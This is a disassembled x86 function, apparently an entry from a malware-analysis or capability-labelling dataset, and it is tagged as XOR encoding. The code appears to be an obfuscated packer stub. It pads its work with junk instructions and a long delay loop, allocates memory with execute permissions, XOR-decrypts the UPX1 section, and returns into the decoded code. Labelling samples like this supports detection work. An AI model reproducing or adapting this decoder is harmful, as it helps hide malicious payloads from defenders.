Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc058853f
not eax
not eax
popal
sub eax, 0x17300cd8
mov edi, 0x804a9110
sub eax, edi
mov edi, 0
mov eax, ebx
add ecx, ecx
sub ecx, edx
mov esi, eax
mov ecx, 0xf049ca09
inc edx
mov ebx, esi
and edx, ecx
sub edx, ecx
add edi, 1
and ecx, edx
add edx, 0x9647dc18
mov edx, ecx
cmp edi, 0x100c9ac
jne 0x47afd5
not edx
sub ecx, 0xb0212b78
or edx, ecx
cmp edi, 0x100c9ac
je 0x47b01e
mov ebx, 0
mov dword [ebx], edx
or ecx, edx
sub ecx, 0xdbc516f1
add ecx, ecx
add edi, 0xd78173b5
mov eax, 0x213f2938
mov esi, 0x47ada2
add ecx, 0x421c9712
inc edx
not eax
mov edi, 0x47af96
add eax, ecx
sub eax, edx
sub eax, ecx
mov ebx, dword [esi]
add ecx, 0x4b99481f
dec eax
add edx, 0x618b86b2
and ebx, 0xff
or ecx, ecx
inc eax
xor dword [edi], ebx
not edx
or eax, ecx
not ecx
inc edi
add ecx, ecx
add ecx, eax
add eax, 0x814a4457
inc esi
or ecx, ecx
mov ecx, 0x48aa6692
add edx, ecx
cmp edi, entry0
jl 0x47b04c
dec edx
not eax
inc eax
sub eax, 0xef29dcb3
not eax
not ebx
inc ecx
mov esi, 0x47af9a
inc ecx
add edx, 0x126b65d9
mov esi, dword [esi]
sub ebx, 0x28d4d3c2
mov ebx, 0x8ef27b50
mov esi, dword [esi]
sub ecx, edx
sub ecx, 0x325e3df0
push esi
mov ebx, 0xad7ffbe4
add ebx, 0xde9c1c8b
mov esi, 0x47af96
mov edi, edx
sub ecx, 0x20fd6fe4
mov esi, dword [esi]
or edi, edi
mov ebx, 0xd6929c08
mov esi, dword [esi]
dec edx
or edi, ebx
push 0x47af9e
not edi
or ecx, ebx
add ebx, 0x21014ac4
call esi
inc edi
mov edi, ebx
add ebx, edi
pop esi
mov ebx, 0xbb268705
dec edi
push 0x47afab
mov ebx, ecx
add edi, 0xc74ec115
and edi, ecx
push eax
and ebx, edi
dec ecx
inc edx
call esi
mov edx, 0xb39c77fd
mov edi, 0x6397443
add ebx, ebx
sub esp, 4
mov dword [esp], 0x40
and edi, ecx
add ecx, edx
or edx, ebx
sub esp, 4
mov dword [esp], 0x3000
dec edi
sub ecx, ebx
sub edi, 0xd9028351
sub esp, 4
mov dword [esp], 0x200002d3
mov ecx, 0x81aa98b0
not edi
inc edi
sub esp, 4
mov dword [esp], 0
add edi, ebx
sub ebx, edx
or edx, edx
call eax
mov ecx, 0x71e25beb
mov edi, 0x92c2469e
add edi, 0xb7dbabe6
add eax, 0x2000021c
sub edx, edi
mov ebx, edi
not ecx
mov esi, 0x76cd04a4
or edi, ecx
mov edx, edi
mov dword [eax], esi
sub edx, ecx
dec ecx
mov esi, dword [eax]
inc ecx
mov edi, 0x8812e14c
not edx
cmp esi, 0x76cd04a4
je 0x47b1af
mov edx, 0
mov byte [edx], al
sub edi, ecx
mov edx, 0x26566417
dec ebx
sub edx, ecx
mov ecx, 0x4b09ea58
dec edi
and eax, edi
mov esi, section.UPX1
mov eax, 0x36b1daf2
mov edi, 0xa1a1509a
add eax, 0xd3d73f7e
mov ebx, 0x47ada1
sub eax, edi
not edi
and eax, edi
mov ecx, 0
mov eax, 0x624b6856
mov eax, 0x20a97efd
and edi, eax
mov edx, 0x47ada2
mov edi, eax
not edi
lea edx, [edx + ecx]
or edi, edi
add edi, eax
not eax
mov edx, dword [edx]
inc edi
inc edi
not eax
and edx, 0xff
sub eax, edi
and edi, edi
inc ecx
sub eax, edi
and eax, edi
cmp ecx, 0x1f4
jne 0x47b226
mov ecx, 0
dec edi
not edi
sub eax, 0x69570019
sub eax, 0x98229777
mov eax, edi
sub edi, 0x60366812
xor dword [esi], edx
add eax, eax
not edi
not eax
add esi, 2
sub eax, 0x12e01345
sub edi, eax
cmp esi, ebx
jl 0x47b1f2
sub edi, 0xd0c6a5da
sub eax, 0xddea2d39
mov eax, edi
and edi, eax
add edi, 1
mov ecx, section.UPX1
sub ebx, 0xf6f85b5e
sub ebx, esi
add esi, 0x70cb28d0
mov edx, section.UPX1
mov ebx, esi
or ebx, esi
dec esi
mov edi, 0x47ada1
mov ebx, esi
not esi
mov eax, 0
mov esi, 0xaa02057c
mov esi, ebx
mov al, byte [edx]
not esi
add ebx, esi
mov byte [ecx], al
inc esi
sub esi, 0xb60da6f1
add ebx, ebx
inc ecx
sub ebx, 0xf87f8045
dec esi
add edx, 2
sub esi, ebx
and ebx, ebx
sub esi, ebx
cmp edx, edi
jle 0x47b2a3
add esi, 1
or esi, ebx
sub esi, ebx
mov edi, 0xf130f8e5
not eax
push 0x45e6a0
sub eax, 0x3cefe9d3
not eax
ret